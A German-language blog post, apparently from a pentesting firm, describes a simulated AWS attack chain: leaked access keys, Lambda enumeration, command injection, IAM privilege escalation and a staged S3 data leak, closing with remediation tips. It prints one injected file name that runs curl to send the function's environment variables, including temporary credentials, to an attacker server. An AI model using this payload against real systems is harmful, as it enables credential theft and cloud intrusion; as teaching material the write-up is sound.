Einblick in einen AWS Penetrationstest
Immer mehr Unternehmen entscheiden sich dafür, ihre Applikationen und Systeme in die Cloud auszulagern. Durch die Fülle und Komplexität der angebotenen Services können schnell unbeabsichtigte Sicherheitslücken entstehen. Im Folgenden wird ein Szenario gezeigt, bei dem über geleakte AWS-Zugangsdaten eine Lambda-Funktion ausgenutzt wird, die eigenen Rechte erhöht und dann ein Datenabfluss (Dataleak) simuliert.
Das Szenario
Durch Open-Source-Intelligence (OSINT) werden Zugangsdaten für einen AWS-Account gefunden. Mit diesen wird ein S3-Bucket und eine Lambda-Funktion identifiziert. Durch eine Analyse der Konfiguration und des Codes der Lambda-Funktion finden wir eine Möglichkeit, durch eine gezielte Command Injection, unsere Rechte zu erhöhen (Privilege Escalation). Mit den neuen Rechten wird dann exemplarisch ein privater S3-Bucket komplett der Öffentlichkeit zugänglich gemacht und dadurch ein Dataleak erzeugt.
Open-Source-Intelligence (OSINT)
Immer wieder passiert es, dass Zugangsdaten in ein Git-Repositroy eingecheckt werden. Das Tool gitleakshilft uns hierbei, das Repository und ALLE seine Commits nach Zugangsdaten zu durchsuchen. Im Bild ist die Ausgabe des Tools zu sehen. In einem älteren Commit wurde ein Access Key für die AWS gefunden.
Die erste Informationsbeschaffung (Enumeration)
Es gibt verschiedene Tools und Vorgehensweisen, um sich eine Übersicht über die AWS-Umgebung zu verschaffen. Ein großes und namhaftes Tool ist PACU. Es bietet verschieden Module für die Informationsbeschaffung, für das aktive Eindringen (Exploitation) und die Post-Exploitation. Für dieses Szenario ist das PACU zu umfangreich. Daher werden wir ausschließlich die offizielle AWS-CLI von Amazon verwenden.
Für die Enumeration werden wir die 2 Module lambda und iam, der AWS-Cli, verwenden. Beide Module stellen diverse Funktionen zur Verfügung, mit der sich Ressourcen und deren Details auflisten lassen.
Im Verlauf der Enumeration haben wir eine Lambda-Funktion ausfindig machen können. Im Wesentlichen gibt es 2 Optionen, wie der Code der Funktion analysiert werden kann. Analyse durch eine manuelle Review oder ein Tool-Unterstützes Review. Für Python kann das Tool Bandit verwendet werden. Wir wählen die manuelle Option.
Durch die Analyse des Codes konnten wir herausfinden, dass die Funktion anfällig für eine Command Injection ist. Außerdem besitzt die Rolle, mit der diese Funktion ausgeführt wird, das IAM-Recht „iam:AddUserToGroup“.
Der Wert des Parameter Resource ist auf „*“ gesetzt. Die unter Action aufgelisteten Rechte können daher ohne eine Beschränkung angewandt werden. Wir haben auch herausgefunden, dass die Funktion aufgerufen wird, wenn in einem bestimmten S3-Bucket eine Datei hochgeladen wird.
Um das volle Potenzial der Command Injection abschätzen zu können, müssen noch die Gruppen und deren Rechte enumeriert werden. Dabei fällt eine Gruppe auf, die volle administrative Rechte besitzt. Wir haben nun die Information das die Lambda-Funktion exploitet werden kann, wie die Funktion aufgerufen wird und was eine erfolgreiches ausnutzen bezwecken würde.
Exploitation der Lambda-Funktion
Durch die Analyse des Codes haben wir identifiziert, dass die Variable tar_path der Name der hochgeladenen Datei ist. Der Name der Datei, die wir hochladen werden, ist wie folgt.
'hello;curl -X POST -d "`env`" {IP-Adresse};.tar'
Die Funktion „tar -tf {tar_path}“ schließt durch das erste Semikolon ihren eigentlichen Befehl ab und führt anschließend unseren Befehl aus. Durch den CURL lassen wir die Umgebungsvariablen der Lambda-Funktion an einen externen, von uns kontrollierten, Server schicken. Auf dem Server wird mit dem Programm nc ein Listener gestartet, um den Curl-Befehl Request entgegenzunehmen. Dadurch bekommen wir den Access Key und ID für die Rolle, mit der die Lambda-Funktion ausgeführt wird. Diese Zugangsdaten sind nur für eine begrenzte Zeit gültig. Der Default hierfür ist 1 Stunde.
Privilege Escalation mit den temporären Credentials
Die Erhöhung unserer Rechte ist an diesem Punkt sehr gradlinig. Dadurch, dass die Rolle das Recht „iam:AddUserToGroup“ hat, kann der bereits kompromittierte Benutzer zu jeder Gruppe hinzugefügt werden. Der Benutzer wird daher der zuvor gefunden Gruppe hinzugefügt.
Post-Exploitation mit den neuen Rechten
Es bieten sich eine Vielzahl von Möglichkeiten. Den Zugriff auf den AWS-Account persistieren, Störung des Betriebs oder auch Diebstahl von sensiblen Daten. Per Default ist ein privater S3-Bucket sehr restriktiv und sicher eingestellt. Mit nur 3 Befehlen kann der Zugriff auf öffentlich gestellt und eine Dataleak herbeigeführt werden.
Fazit
Im Szenario haben wir gesehen, über welche Wege, ein unprivilegierter Benutzer, Fehlkonfigurationen und Programmierfehler ausnutzt, um seine Rechte zu erhöhen und einen Datenabfluss erzeugt. Der Angriff hätte verhindert werden können, indem zum Beispiel die AWS-Keys alle 90 Tage neu generiert werden. Auch wurden die IAM-Gruppen und Rollen nicht nach „Best-Practice" erstellt.
Setzen Sie sich gerne, für einen Penetrationstest Ihrer AWS-Umgebung, mit uns in Verbindung.
Alle Ressourcen, die benötigt werden, um das Szenario eigenständig nachzustellen sind unter folgendem Link herunterladbar.